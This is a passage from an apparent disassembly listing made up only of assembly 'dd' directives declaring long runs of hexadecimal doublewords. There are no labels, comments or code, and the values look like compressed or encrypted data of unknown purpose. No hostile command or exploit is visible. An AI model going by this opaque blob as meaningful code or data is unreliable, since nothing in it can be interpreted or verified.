		dd 307E5931h, 0BC9202h,	1587257Ch, 9613E74Eh, 0A6BCC94Bh
		dd 2C88ED00h, 0B139B802h, 68F23800h, 76F63797h,	7DF30F96h
		dd 0BE80CDAFh, 817C06B4h, 12C5F100h, 63A81AE4h,	68763899h
		dd 0A9E2E500h, 60D1F4F6h, 0CC480C00h, 8AC2F8C5h, 0C153004Eh
		dd 2772859h, 5F00319Dh,	206B05D4h, 66F121h, 87B6CA78h
		dd 0A548A40Ah, 7D3460EDh, 779620C0h, 0A8B90124h, 0D23CACh
		dd 850D7EB7h, 13AC5F61h, 0EDE68000h, 0C7BBEF7Ah, 70FE60CBh
		dd 4C5C38B9h, 0FF7CAF0Fh, 85B2E004h, 243D61CAh,	3AF9F63h
		dd 0EB663AAAh, 9D83D0D0h, 1B554203h, 0B8034F27h, 0A83FEAh
		dd 0FD13484Bh, 0CE68F089h, 0FA651000h, 32D73037h, 0ED41007Dh
		dd 2C8A9D6h, 0EE503631h, 0C20077A8h, 0B0C342D5h, 71DD77Fh
		dd 6B93F4A6h, 0E62C24Ah, 95CCE080h, 0C8001F25h,	68E80929h
		dd 1EFADB49h, 80CF582Ch, 4CAF0F71h, 3C00F12Ah, 9D723001h
		dd 0DC8DA3h, 0C49537F3h, 97CE3F61h, 96404600h, 35235738h
		dd 21D0136h, 0B2D0F74Fh, 1B070FEh, 0D2249E00h, 2292CD93h
		dd 8CC0F5A1h, 117D03EDh, 6E1306F9h, 955292A7h, 5440BE8Fh
		dd 4C622F0Bh, 0C7189F09h, 0B715808Ah, 1C35B586h, 4EA84424h
		dd 320C138h, 21848C11h,	0F1F8F500h, 0B2465EC8h,	0F2800144h
		dd 0CA0F8F4Eh, 27B3E4D9h, 32697E18h, 8C5C10h, 904DD474h
		dd 1B067743h, 0F2263801h, 0F04F1A2Eh, 4AC3E4h, 2191340Ch
		dd 9202E01Dh, 6D30B404h, 2EC0F7CAh, 0FCE859CCh,	95D00E65h
		dd 35C0F574h, 0C896FF44h, 60224200h, 0A18A812Fh, 3C8C902Ch
		dd 780CB1Bh, 866B84EEh,	0B002F748h, 8CAFA3D6h, 0C898605Bh
		dd 9A6F3FF5h, 8E717981h, 7415AE18h, 9175E350h, 88286560h
		dd 0C3E08B4h, 5FA47F78h, 731F2A20h, 0E2C2703Dh,	500AEEA2h
		dd 0AFC3077Ch, 80B2D292h, 4B8D7DBDh, 0EB2638h, 0D6C2D3B3h
		dd 9AB113h, 0B6466CD0h,	66999395h, 0B8F168C3h, 0B2AFC02Ah
		dd 9E5D0062h, 97D3C317h, 863AC6C9h, 0D160804Ah,	6B7D2F31h
		dd 0F4240082h, 38E4E72Bh, 20013976h, 0AF4434B8h, 0B9EC257Fh
		dd 892F01D6h, 0F1262D58h, 338FC24h, 4BDE1900h, 78508790h
		dd 0A439001Ah, 64F80FD0h, 0D2F0537Eh, 27730D00h, 2D5F680Bh
		dd 76C07F54h, 0F4A800A2h, 5DB30788h, 48002CB2h,	0B96FC68Dh
		dd 25C980h, 0C0353B4Eh,	1F7F83A9h, 345B2F35h, 58B188C2h
		dd 702E00D0h, 56FD1CBEh, 0FE003B45h, 0A97FF082h, 0F825B9h
		dd 0C20F2AE2h, 42B2A341h, 0D6154A00h, 9BF6B03h,	6729006Fh
		dd 0C1DFBBA5h, 0A63DEC72h, 1DDE8E79h, 81E3A0F6h, 43F655Dh
		dd 593868C5h, 0CD108137h, 8789BF45h, 0C7CC094Eh, 44C0C615h
		dd 1EBF2E7h, 32ECD150h,	80C0D5A9h, 7B2BA518h, 1450DBDh
		dd 4305BE03h, 0E0D2BCF2h, 4700813Eh, 77225DD3h,	2A07288Fh
		dd 3AE8987Ch, 2A1870BCh, 845148C7h, 2E65F600h, 0CDC515EAh
		dd 746F3EB7h, 0F3A300FCh, 9AC9A4D7h, 20908FB8h,	0CC321A00h
		dd 0E86415BBh, 3C4148E4h, 8CF82E00h, 1797F72Fh,	8A43100h
		dd 8F4AAF27h, 9FAA001Ch, 30F90B86h, 0DFE2679Ah,	4CE239C0h
		dd 48F51713h, 1F11588Dh, 82762424h, 0CEF833h, 316AEA8h
		dd 4E8B8930h, 0B9900C00h, 0ECA4C3A8h, 2FDF0102h, 9ADA4F4Bh
		dd 0EF6E7070h, 7C1F96E8h, 6A0551DBh, 0E71C4B28h, 0C26780FDh
		dd 90C5DEF0h, 31CF0004h, 47D14C2Dh, 93F84246h, 0C39F4907h
		dd 1B0BC6Fh, 1BF91Fh, 0F6E8F34Bh, 7376485h, 180A5Ch, 0C4FFBA34h
		dd 0FC0E66h, 0A1C1804Dh, 54319664h, 0E0683B0Bh,	705504D4h
		dd 30B0DC80h, 99BE0028h, 0C51136A7h, 0CE0053ABh, 275B1A40h
		dd 0FDF604Ch, 0D7D045FCh, 6CEA6F80h, 2CE64AF9h,	0B76B5F00h
		dd 0E09BA841h, 1B3C00ABh, 23F7D7B5h, 59002907h,	0D94B0638h
		dd 0A1A773h, 1E2557D3h,	3DC0FFF8h, 1C3B4F00h, 693C0634h
		dd 590A00D1h, 2CD3A8B3h, 0ED009CEBh, 4727214Ah,	35C97C3h
		dd 9C97975h, 0D8E82F20h, 7201A40Fh, 16C8B610h, 4BC8385Eh
		dd 121B009Ch, 541AED52h, 68003C86h, 0D9EF1DF6h,	5FCCB1h
		dd 1E203441h, 0EBEED89Dh, 0F784D700h, 19DE4F52h, 97110179h
		dd 0C13416F2h, 0DB944047h, 0D4165DE1h, 0EA00B1F8h, 0C4AB762Bh
		dd 85E41C64h, 6D8383BDh, 40C167D6h, 0A8D4FC8Bh,	0CCDEE000h
		dd 863F8C2Dh, 4093A2B2h, 8010E8h, 0C3EF7B22h, 0C9A03E66h
		dd 840E6FFCh, 0A0670C2Fh, 0A471D1AFh, 0D0F91822h, 2E8068CCh
		dd 0D892F500h, 3225569Ch, 0C6B107F0h, 4BFC21h, 23FDB90Ah
		dd 9131621Eh, 5C48E680h, 3ECDF360h, 6D03F444h, 4B01BEBDh
		dd 0DC0DFAA9h, 7E02E08Ah, 0EFA96648h, 0FEA4E0F5h, 3A6C00AEh
		dd 354BE506h, 47388C9Dh, 58CC8010h, 0C36D6403h,	0E17799h
		dd 1940DB13h, 73856BD6h, 46283B00h, 4784DB7h, 727BB0h
		dd 1CAD98E2h, 0E9171635h, 59499600h, 2F041FCh, 374500D0h
		dd 0B9CC3073h, 4DF68A99h, 412A3816h, 630043B8h,	0A7405D94h
		dd 1005084h, 8906C704h,	0F4C3F1FFh, 3EAF018Ah, 0D433E374h
		dd 0F013DD30h, 3C01858Ch, 0B66754B7h, 6DECFE46h, 52791C63h
		dd 92BF0F36h
		dd 0A108CC0h, 7700686Eh, 395DCA93h, 5A59CFh, 0BFAFD96h
		dd 666F2223h, 50FBA200h, 7FB28C8Fh, 21340061h, 0BC951BE4h
		dd 0C93E76E9h, 51128087h, 797D74C3h, 6B4000D2h,	0D8CA53C0h
		dd 9C001CEFh, 0C7A190E0h, 0E27A6BFh, 0D59B0393h, 215776A0h
		dd 2004B2Ah, 0B06B5B84h, 1568CC9h, 0F34C48DDh, 0D418B9E0h
		dd 0EE0285A6h, 0B8DF33A8h, 3E5CC0D4h, 0D74B126Fh, 0C40C0093h
		dd 9CF02EF1h, 150A5703h, 0C87A5450h, 0E2C1EB6h,	0BD348692h
		dd 1C5A42E0h, 254C3E68h, 0D6DF00E0h, 962DADFAh,	91C44870h
		dd 72732200h, 74E6EB7Fh, 7E05CA12h, 3D1F9C00h, 76E7D73Ah
		dd 7510C31Dh, 86E0883Bh, 7930BB91h, 71D72825h, 9890601Bh
		dd 0A25AEA99h, 5BC32A00h, 0A0538777h, 0BBF70086h, 0FC37DE9Ah
		dd 68004780h, 0A68DFBA9h, 67F191h, 956EF434h, 381E41D3h
		dd 0EA7AAB0Eh, 2749E30Dh, 50CEA9h, 0F991DDA5h, 6B291A04h
		dd 90FA94EAh, 37B15C0Fh, 7AFDC009h, 3E1126BCh, 0DB3D569Dh
		dd 38AC1D2Ch, 0E6C017B0h, 51F6801Fh, 18F97A44h,	507B1D9Bh
		dd 163DB2A5h, 0EC8300B8h, 0FFC615A0h, 7C810025h, 53106287h
		dd 0A304249Dh, 334F68Ch, 46F85E80h, 0CA1701C0h,	4F3BF265h
		dd 0EB96E08Fh, 0D4004477h, 0B7067825h, 92CDBDh,	0FA5682FDh
		dd 38FB22E1h, 2DDD1400h, 2A5F458Bh, 956A1D47h, 467480E4h
		dd 0DBEC627Bh, 55B2BD00h, 444D3B53h, 343801E6h,	6B889F48h
		dd 5A52605Eh, 85BC7301h, 1871B053h, 7E258041h, 6214860h
		dd 5A659649h, 350019D1h, 0E0B3B64Ch, 0AC6F992h,	0FAFB9011h
		dd 9ED3809Ch, 0E0DC271Bh, 0F1BFC500h, 0CCE52B09h, 4058302Eh
		dd 0A0FC1D18h, 9C857D02h, 406AC1C0h, 0F0971EF7h, 1D65015Ch
		dd 5167256h, 3B450B8h, 0D800E2AAh, 6D611381h, 3C999201h
		dd 370479FAh, 8769F9BAh, 365AC334h, 0F5E618EEh,	40DCCE30h
		dd 0BDCC56h, 3F92C0Fh, 9B5E9C96h, 0DFE12B00h, 5D6683E0h
		dd 65801E32h, 95170025h, 59051122h, 18DC2640h, 589FBEA2h
		dd 0EC00334Ah, 948DF687h, 0D3FBF18Fh, 0E7560018h, 9592E14Ch
		dd 0F2A323Ch, 1D1180h, 0C091C901h, 63D7163Ch, 0C7440CCh
		dd 9714C12Ch, 0BE4891DDh, 238A41DCh, 1110826Bh,	4809ADDEh
		dd 0AF5C94Ch, 93FE5A1Dh, 59477B74h, 0DD030174h,	1119FC1Eh
		dd 3C5A4820h, 0DB05D362h, 439E6FE0h, 377056B8h,	0D23B47F8h
		dd 0B600D092h, 0E0D76E8Bh, 73FC309h, 0CEBE8CFFh, 3A9DF019h
		dd 28B87FDDh, 106248FEh, 102CF29h, 0D095DCF3h, 2D006CF7h
		dd 0B90D56A1h, 7EC113Fh, 4316E76Ah, 4BD6008Dh, 2E1CF2B6h
		dd 3140D105h, 0F5E6C7D7h, 28640009h, 27EC16F1h,	0A200E189h
		dd 23AA66F8h, 72292DC6h, 88150E11h, 1E20322Bh, 26B25C4Fh
		dd 1DB8CB4Ch, 1AC1F9C4h, 3BD0B5F0h, 288D6ED4h, 1B1AEC2h
		dd 0A67D801Eh, 0FC4BA552h, 36581805h, 9CEF023Dh, 0C0621EF1h
		dd 3F5DECF4h, 3801F2BDh, 97A2ED3Ch, 0A1B860B7h,	0D67D5000h
		dd 0B9825D81h, 2AB2009Eh, 6DA3AE5Ch, 9017028Bh,	640338C6h
		dd 0DB748185h, 54069845h, 183B606Bh, 98E0ECB1h,	0CBB2C20Bh
		dd 804D8FC9h, 6039C523h, 13746Bh, 6677CC54h, 93964702h
		dd 801FCFF6h, 0FA6EF03Ch, 0E40C21Dh, 79C9C38Ch,	2529138Ah
		dd 2ADC0BD7h, 0E7112001h, 94D1F8F8h, 2734750Fh,	83C0DE3Ch
		dd 9232AB63h, 0E9A009Ch, 0E59401FDh, 0F271FFA6h, 3B1CE716h
		dd 0A7782900h, 121970AEh, 248F58h, 0A8CD6318h, 1C00A6FCh
		dd 0BB46947Dh, 834E3Bh,	6D6BFA4h, 0C677DF34h, 0AC0081F6h
		dd 0C324365Fh, 0B12C7B6h, 0B7F902E2h, 3F079C00h, 0FE28B914h
		dd 1A0EF0A6h, 0C0AA36B1h, 79AD5D99h, 0E22D007Bh, 11E75C04h
		dd 241FE521h, 9C3E96D7h, 650054F3h, 0EDBC93Eh, 0AE5E1D64h
		dd 0F77F4082h, 14EB4EB6h, 350010F0h, 75A5F061h,	1DC07AB9h
		dd 40D38C99h, 0E06D90Ch, 4E033D3Ch, 38D6465Bh, 8C6EF041h
		dd 0F82500B0h, 0ED4DFCC0h, 1200F1AAh, 7541D72Dh, 731597h
		dd 3AB67CA1h, 0DD6D68FBh, 0FA761900h, 57D49026h, 1AC509B7h
		dd 0B40078DAh, 2FD2CB35h, 723C8B01h, 0F7A294Ch,	7B751D60h
		dd 4469027Eh, 9491AC1Eh, 0DF3A060h, 9FD4AA00h, 0A56F5590h
		dd 0EF500F1h, 0C929AD3Ah, 0B6606DEEh, 8B32B578h, 9E0094F3h
		dd 0B93F7EDCh, 42387487h, 0F91CE3A9h, 0C47FB3B9h, 33008205h
		dd 1D3511D5h, 7AD9E50Fh, 0A6A80075h, 282C9850h,	660EFE5Fh
		dd 646178EEh, 7C80B2B4h, 524E80h, 101CC1BCh, 0AE71B3Bh
		dd 2B40EA04h, 60804122h, 0FF34895h, 0C9C1C292h,	45EC1360h
		dd 0AB003558h, 0B4B85785h, 0E90FCF6Fh, 34C044FDh, 4F5C130Ah
		dd 0DAC04046h, 0EB0DBDA8h, 0C7FE5205h, 0C4C0045Dh, 0F827A3FDh
		dd 0E6650082h, 6C214C36h, 120020B0h, 35497202h,	0E09DF732h
		dd 0A0760007h, 96846D82h, 0ECE45FCCh, 0FA60D960h, 0E087D4AEh
		dd 747B00A6h, 4E78868Ch, 9E2547AAh, 0F1700084h,	38C1E46Eh
		dd 3681ACA2h, 2616DEC9h, 0F869FCC0h, 0D17B3Ch, 249FFAF9h
		dd 0AFBD42h, 0D626E3AAh, 0AC483CA3h, 303FE200h,	16F794B1h
		dd 57953388h, 0F6D06418h, 0ED981B5Ah, 60C35D00h, 0C7A2F0B5h
		dd 0C2F7002Dh, 96AD4D64h, 0FC30316Ch, 0FBBC3270h, 670C2526h
		dd 15003A58h, 35C2C432h, 3B9F56h, 6013687h, 22A78EF6h
		dd 699E5900h, 38808DEBh, 47E4F5D9h, 57720079h, 5D67CB1Ch
		dd 3D01408Fh, 962B995Ah, 0D021B8FBh, 7D6240FAh,	9A0D3D0Ah
		dd 76E74180h, 0AFA6FAE9h, 8EFC7F01h, 0DD6ABC9Eh, 0A932ECh
		dd 0A404234Fh, 0FD54020h, 2B71CF00h, 65A20767h,	58920191h
		dd 3F0901B8h, 4AA9F805h, 9018F90Fh, 614F00B5h, 0DD123h
		dd 4757691Bh, 0C74ED47Eh, 8730CC00h, 0BE6F66BAh, 19F4BBh
		dd 1ABD802Ch, 0B4D05B82h, 0DB783300h, 26F6BF6Eh, 0E29300F1h
		dd 22D59FC1h, 5A0B882Eh, 0EA64A60h, 0B85580E9h,	1E3D3A08h
		dd 6E9C25h, 284F0AC8h, 0F900C082h, 0C9DD61B6h, 0ECE9F430h
		dd 13B10166h, 5BF89008h, 3552201Dh, 81492F00h, 0CE5488BDh
		dd 0AD330029h, 0EABAEDE7h, 3573759Fh, 7403A2F2h, 52AF54F2h
		dd 623E003Fh, 4F9E6C45h, 8CF227D6h, 80154738h, 8F951C87h
		dd 4D53B67h, 8D82A4A9h,	2DDFC028h, 4D090F86h, 8767727Dh
		dd 22605882h, 0AB535Ah,	0C02FB6B3h, 59D6ADD0h, 9BBBA800h
		dd 2CE7E3D2h, 0E5330130h, 0EEEF1DDAh, 32B0EF75h, 0A1002A3Fh
		dd 0F1DC90DEh, 0A8B028h, 0E61D9971h, 2640C6F7h,	3060F3Bh
		dd 4A15CA2h, 0F0BF83E0h, 2299A8h, 65B82FA4h, 49118F61h
		dd 0C4FCD21Dh, 0A89BF980h, 525773Fh, 0AA3DB6BDh, 838C04AEh
		dd 9BDCC0ABh, 7838D14Dh, 266067E8h, 0A1C235D0h,	439F00BCh
		dd 8F8A7574h, 0AC0F5C22h, 9EBD77F6h, 301BE00Dh,	762108E3h
		dd 1D18ABBAh, 1E0B10h, 35613CA2h, 0C5B1FFD0h, 0D314FA07h
		dd 776058F6h, 74E083Bh,	768A74DBh, 0A44B00E2h, 58C00EF1h
		dd 650D355Fh, 110C6728h, 4D2A809Bh, 772C752h, 5E09477Dh
		dd 0EAA37A7h, 0F1FBE234h, 0A194A022h, 1438A14h,	3D9FB3B6h
		dd 80A9CCDCh, 0BE1A2329h, 30EBD4h, 2956594Eh, 0E2FF0628h
		dd 91218602h, 60B0C67Dh, 7405272Fh, 0E628000Dh,	9CC9B2F0h
		dd 7C1D42DDh, 54003FDBh, 0D01E9B67h, 0F313009Eh, 0B2FD0CC1h
		dd 8000070Ah, 5C6F92FEh, 368DAAh, 49F35DA6h, 245A4874h
		dd 7838F02Dh, 65DB000Dh, 13FE3081h, 0DC30B0C2h,	0D2C3F952h
		dd 7FF842h, 419446CCh
		dd 888F6647h, 0E40365B8h, 0B607D425h, 28C6CDh, 64385828h
		dd 89B403C8h, 0D3BE390Ch, 6F8FDh, 0BC05097h, 0A9C938B3h
		dd 0C8627B1Dh, 7521C518h, 0C1C3079Ah, 92683D34h, 6AE0B437h
		dd 123E02B0h, 0B86E14BDh, 0A9DD00F4h, 2925FB67h, 36B01BF1h
		dd 491D2075h, 293854F7h, 0C600C812h, 7405FF5Eh,	0FB90075Dh
		dd 469F4CDFh, 9C1C2127h, 0D400FF52h, 9257B4AFh,	0CE21000Eh
		dd 32ADA109h, 0C5E8E125h, 0BC05151Dh, 0AFE62A01h, 0EE60684Fh
		dd 0E4CB07A0h, 46C60D0Ch, 0F8072192h, 4801681Ch, 0B3102B80h
		dd 3302C0BCh, 41D827C4h, 8BD5EA00h, 3228C2A6h, 918C1F3Bh
		dd 2C5700DAh, 0C81F0A37h, 7E0FE578h, 6069126Ch,	60469C3Bh
		dd 0A5AF1E22h, 37F0C026h, 2D764AFFh, 0B13B3F03h, 9885824Bh
		dd 29EE9FBh, 6ED113DDh,	5C40B9A7h, 0BAE6D581h, 49184C00h
		dd 33099FDFh, 0DDF30014h, 9C303844h, 9905B121h,	6B2284FFh
		dd 55C4F8C0h, 0BEDA0336h, 2BEFF647h, 0C3BD0388h, 0A0AB2700h
		dd 2521023Bh, 98087B24h, 0F6450CEAh, 4F29225Eh,	300611FBh
		dd 0EC109912h, 0AB7440C4h, 44D12644h, 744E522h,	51776669h
		dd 0B00729D7h, 5BFACB3Dh, 5D53EB70h, 3AA40F97h,	93209217h
		dd 0B3584A19h, 5CF2BA00h, 7E210327h, 0C9FA0051h, 3998384Bh
		dd 0B8004DC2h, 0BEE03283h, 0E7276Dh, 6C7DD8Eh, 0E30746F0h
		dd 9302E106h, 1CE6FA88h, 5C7CE831h, 0F9A300DDh,	0E13CC889h
		dd 0F0ED1800h, 7B852B9Fh, 7F640B6Bh, 0D7768E97h, 0B9020500h
		dd 1D66F145h, 0C044936Dh, 37DDF5EBh, 8C09CC55h,	0ED7695h
		dd 328D7C41h, 1D06002Ch, 0D8964FF8h, 631C33B2h,	80FB5453h
		dd 47B59EDCh, 0B8AEAD6Eh, 4EDF3C44h, 0C7455780h, 170A2420h
		dd 0B4506300h, 8B76BD8Ah, 0E4C93E53h, 7E4CDA8h,	177421Eh
		dd 502D976Dh, 7B115AD5h, 0D64A9500h, 0AF636510h, 5BF70EE0h
		dd 0AEC017E3h, 8D97D305h, 71822900h, 22BC630h, 1F8301A6h
		dd 0CF61C4B3h, 0E6FAC4AEh, 2F056F0Ch, 0FAB810CDh, 34BC1C96h
		dd 2C17B4h, 0FF80B510h,	0ED381236h, 0DA150FB2h,	673A0A1h
		dd 25309B9h, 33C26C3Ch,	0C080EFFDh, 0F3720C49h,	452671Fh
		dd 1C0FC140h, 304D3057h, 0EE706066h, 0BC006D50h, 4EB06461h
		dd 18D1065h, 0CFD6E519h, 70B49851h, 200C57Ah, 0BD692550h
		dd 0F2CA6A8h, 3FEA6D52h, 1ED97542h, 15D8081h, 0DDC8072h
		dd 0AE465C91h, 0D5D10009h, 0DFE64418h, 34032F07h, 242CCD2Eh
		dd 287FACh, 9B06899Dh, 0F241CF0Ah, 6D3A6800h, 8743A64Eh
		dd 0EF6B04Bh, 482C8BEBh, 6051A927h, 0C71C390Eh,	6395721Fh
		dd 1FD7980h, 0E71D5ABEh, 3B0A7D0h, 0C129FA15h, 0F8C084EEh
		dd 0F42867C4h, 332EE8D9h, 0E401DBBBh, 0F24DECBCh, 354E7E4h
		dd 0DAD1891h, 0A6705145h, 0A53FC40Fh, 0ED9204Ch, 0E461F1Ch
		dd 6482111Bh, 0AA8DBE1h, 0E837DCC3h, 0D7912000h, 0C24E5D08h
		dd 8A940AAAh, 39C8E672h, 79523200h, 8396AE5Fh, 5EDBBB00h
		dd 63EC5C70h, 89642EEDh, 0DF5201EEh, 204C8D9Eh,	70032438h
		dd 0E616DC91h, 6367E88Bh, 0DE620030h, 0AB73A3ACh, 4D00AAEFh
		dd 0B4527AA9h, 0E0C6419h, 0F5116B08h, 8CE091AEh, 0CEF47B7Eh
		dd 0BF438700h, 0AC74FEA1h, 98EF0077h, 79E3DD72h, 2E004C4Dh
		dd 0E4CA4AB6h, 0B41C80h, 0AB843F25h, 91A61E46h,	0A5BAE100h
		dd 929F7D04h, 9D0F076Dh, 0A0665219h, 4AC2F60Dh,	0B465740Bh
		dd 15EE87BCh, 8091E50h,	0F57BD0h, 0D3CBDA83h, 5A24B8B0h
		dd 0C5D080EFh, 0C701EE25h, 0E438B8E9h, 0A9E265h, 94B9CE15h
		dd 8CB0E691h, 0CFF0EA02h, 0E07B9D2Eh, 752F0B52h, 82731757h
		dd 0F9AA84Ch, 0A1B365FAh, 2B48F38Fh, 0E1CA6E8h,	0D17E64A5h
		dd 0F89E05E0h, 8100127Ch, 0DBC4CEC3h, 0E7E6B8h,	0A2E35FFh
		dd 28A558B2h, 45C1D11Ch, 61E4BCC0h, 7820EEBh, 8B18800Fh
		dd 0E6805BB5h, 0BB50240Dh, 1B00F879h, 7A6B19D8h, 2EA44D3Dh
		dd 1A8B33h, 0CF033AB8h,	440032C6h, 14DF8A88h, 1DCE5DF7h
		dd 0C9B538h, 9E2004BAh,	3E00975Ch, 167273D1h, 503A0A60h
		dd 0E381C0h, 0C9068008h, 6F241EF3h, 0AF6BAA12h,	34B5EC00h
		dd 3389E99h, 8677069Ah,	6DB195BFh, 6F79F87Ah, 0EB00DAB0h
		dd 3421F4AAh, 2C73DFECh, 6B0316h, 0DC14E244h, 8F3A3FEDh
		dd 3D0500C4h, 0B35D5498h, 819A0060h, 0B8A23E99h, 6B18E40Dh
		dd 8D40A155h, 0C228009Ch, 0B1D2BDAh, 0B100D852h, 2E9867FCh
		dd 0F32D5Dh, 35F7A2B5h,	7564B7B4h, 0CBE4D8C0h, 9E6DB2h
		dd 9DA5C0C4h, 0FEF5E1A3h, 0BB4E1507h, 0B4208440h, 177D3C75h
		dd 793055h, 333A5EC9h, 0BD0BB561h, 83B8858Ch, 133DAD64h
		dd 11DE4F68h, 79B0A8h, 815C569Ch, 6487A250h, 81618E35h
		dd 0BE0B8D00h, 17C8656h, 67B1480Ch, 0E0DBB4BCh,	0B600C291h
		dd 961858A5h, 14C2E1Ch,	86877ECFh, 0F7CA85F3h, 0BF5270C8h
		dd 42AA0E1Fh, 0D2290180h, 0E4AB48h, 0D5DA73B7h,	913289DEh
		dd 201ECD1Fh, 0F6509B80h, 0C40932Ah, 5DA38821h,	0C500A1D0h
		dd 317D1FB2h, 0E2E4AFAh, 52318A8h, 0D986C760h, 0E301335Ch
		dd 506FF38Ah, 92D432C5h, 134EE2A6h, 0FBB86813h,	35E22500h
		dd 6BDCAFh, 4758454Ah, 0A312CF29h, 0D99FE705h, 1A801B0Ah
		dd 44422Dh, 2EEFA949h, 15FB52EEh, 0CA069900h, 0CB828F1Ah
		dd 0A76A3931h, 7209280h, 541B951Eh, 85E8FE00h, 0B183ED01h
		dd 3F8600A8h, 27302CF4h, 361211DAh, 7FFC67Eh, 0A08C1708h
		dd 86060F24h, 0F4263Bh,	2A97BB64h, 980E052Ch, 3D8D2E01h
		dd 0D9C600BAh, 0E43412E7h, 1C507F3Dh, 7C0042CFh, 6AA4C4A8h
		dd 3ED9E496h, 0FB004780h, 0A94F452Dh, 34928DF2h, 2B001FFCh
		dd 49AACEF7h, 79FB101Ch, 7D73036Dh, 85505D8Bh, 0E28C62EFh
		dd 547680C0h, 9083881Dh, 0B654BE5Fh, 94B809DCh,	3C138039h
		dd 37D822Fh, 40DC258h, 49A01597h, 0E5707453h, 603B1314h
		dd 24D500BCh, 0BBEA5A51h, 79433D99h, 57DB2A05h,	649EC0A2h
		dd 621EE377h, 0BBC03963h, 73E261AFh, 530A0E14h,	20E4DF45h
		dd 0D43380F5h, 6900701Dh, 0F15466C2h, 76D0A1Fh,	93E39FC8h
		dd 9318CEFh, 6EF47F02h,	40494FF9h, 31B924h, 4C5BE8A3h
		dd 11587AA0h, 0CF017873h, 0D54DC88Bh, 69F82A3Ch, 606C4889h
		dd 983BCC01h, 804AE2D9h, 0B846EE10h, 3D4F7FE8h,	0E61883E9h
		dd 3D509A63h, 6F690107h, 312013B0h, 48E3D4B3h, 0AB03BCF2h
		dd 2A5577Fh, 20EBF6F1h,	883E85E4h, 0AE51068Eh, 7490940Bh
		dd 0E6380C76h, 7B38F1C7h, 2ACF5A00h, 0A2CA611Dh, 353C00D0h
		dd 0D9A92174h, 0CD00DD59h, 0EE069BA8h, 7B2C0A0Bh, 504F0095h
		dd 157DB2B5h, 8FA58E1h,	7A3253Eh, 12981D8Ch, 73BB3070h
		dd 0EE560063h, 0FB57E916h, 900020B3h, 38864D18h, 1CBD84A6h
		dd 8071C7A5h, 675619CAh, 0A700E5FEh, 0F9810B8Ah, 3F020942h
		dd 0F8229Eh, 0CF35FA5Fh, 0ED64AE7Ch, 451398C7h,	0A4CDB6A1h
		dd 2E2D360h, 0BFC59DC1h, 2EC169DAh, 6A27F005h, 0E4B3Bh
		dd 0B7D5286Eh, 8C98DDh,	0D667A25Eh, 0F4619372h,	75FD3201h
		dd 0D086B4F9h, 349BE0h,	18BFD964h, 0BA5FD281h, 0A435F10Fh
		dd 47890104h, 0F2C855FEh, 0B07014h, 86F3544Eh, 0CAD31FE1h
		dd 0C0192A00h, 0EAC32C23h, 9A28C798h, 137EFAAh,	0D769E99Ah
		dd 7872E015h, 7A82B700h, 4144AC80h, 47AF00D2h, 0DDA505ECh
		dd 5D04F2D5h, 208BB319h, 33934EC0h, 0AE435C3Ch,	0B27D6D04h
		dd 0C79F8008h, 6F26D1EAh
		dd 790734A2h, 7A82B3BAh, 12CC689Dh, 0C672167Dh,	765800EFh
		dd 58626891h, 9469B200h, 287D3723h, 4C1B3A73h, 0AA43F08Eh
		dd 80646264h, 6BD912EBh, 36441A00h, 4F9445BBh, 8370020h
		dd 0C9A9EC9Ch, 4D0FA5A4h, 0C071D914h, 3889BDFh,	0BA470006h
		dd 9343CB45h, 0FE006597h, 3338A652h, 7B1E55h, 201CF5C7h
		dd 37DD9CADh, 96342D01h, 84533B42h, 70B9ECh, 0DECD64FCh
		dd 0A8BB7BCh, 683EA400h, 0F9B6AF40h, 0C56C043Ch, 0C091C4E8h
		dd 0DE0DF25h, 2326B70Ch, 1722903h, 47E6CDA4h, 30DF9610h
		dd 5A019388h, 147E588Ah, 7A605ED0h, 4C1800ADh, 671DF2A1h
		dd 0B600E2C9h, 0F0DD5142h, 7F8288Bh, 8F9DA0E5h,	80FDF5F7h
		dd 1C0122A6h, 1B629700h, 0C568117Ch, 35DA0078h,	818E9853h
		dd 5500CA7Fh, 6512AFDEh, 8BC115h, 0F256CE0Fh, 5A94FC52h
		dd 4E0022FEh, 4BA46170h, 7793ADCh, 2572DDD4h, 2180E949h
		dd 4DF8FB66h, 0B1370B12h, 8F10F800h, 0C8F58Ch, 81BB138Ah
		dd 2FB5D687h, 0F4A39700h, 8235BA93h, 0F53F412h,	76F9098Dh
		dd 0F591E260h, 2A001A84h, 3EC6AD37h, 71DC04DAh,	58860745h
		dd 400C9DFBh, 1623EC5Bh, 517D9E00h, 9C55A766h, 0B4A3006Bh
		dd 0E122A4CAh, 3A05FBD3h, 4731968Dh, 0AECC1780h, 0A16F0173h
		dd 4EA99E1Eh, 0FBA54012h, 7D13C4D3h, 6B00F365h,	4A896210h
		dd 9FF85C6Eh, 0FB000F39h, 0BB2807FEh, 34036FE2h, 0B4964B7Ch
		dd 0C92488B6h, 1707120h, 82050C16h, 20A5E199h, 215C7B67h
		dd 0C92A0090h, 722CBD18h, 0A906163Dh, 20360150h, 4061A46Ah
		dd 555DE4CCh, 80B69D39h, 0C68659D0h, 3D92FEDh, 741B3477h
		dd 0E0B17003h, 0C4D1C524h, 6A00F49Dh, 359FA375h, 0AC4D7Eh
		dd 0EE71B563h, 772CF628h, 10849630h, 70EDFD76h,	0E6A2069Ch
		dd 188BD749h, 0F40A541Ch, 4B8FDA80h, 13EAF1D0h,	11DB253h
		dd 86E97C49h, 1025FCD7h, 8003BE3Eh, 32911162h, 3B4333h
		dd 4B66C987h, 70EABF48h, 71BA11C0h, 0B94C85h, 8418B0D1h
		dd 0E12D1F31h, 6C6DC0Fh, 0DEFC6068h, 30225A4h, 0D839A8C7h
		dd 95F80AB4h, 0D8A8A0F1h, 6F0F40E0h, 61F871E8h,	0AD8A9293h
		dd 3BE532C0h, 0D3001FDh, 8EAC3359h, 9F9BEA00h, 1EC8B1E7h
		dd 586D00BEh, 565C852Ch, 0F3000ED4h, 5B0AA49Ch,	0FAECB07h
		dd 0A247985Ah, 801B18C5h, 5CAF80A3h, 0E4920E28h, 2DDDE000h
		dd 7194D684h, 0B0A6652Ch, 1043C79Ch, 18686C59h,	723FC50Ch
		dd 7CD3884Eh, 0FC1F0048h, 5D465324h, 6B003C03h,	5F8E708h
		dd 0FCF0C49Ah, 1843077Dh, 0A0AB36E2h, 448138FDh, 68129000h
		dd 51D8BE25h, 0DA85003Bh, 374BE139h, 8224380Fh,	588030D0h
		dd 6CD6A2D7h, 9ADF01DDh, 1DE92CDBh, 5E132006h, 8059883Ch
		dd 49A88452h, 394BC6E3h, 570BAE2h, 125B702Ah, 8EE8C0EFh
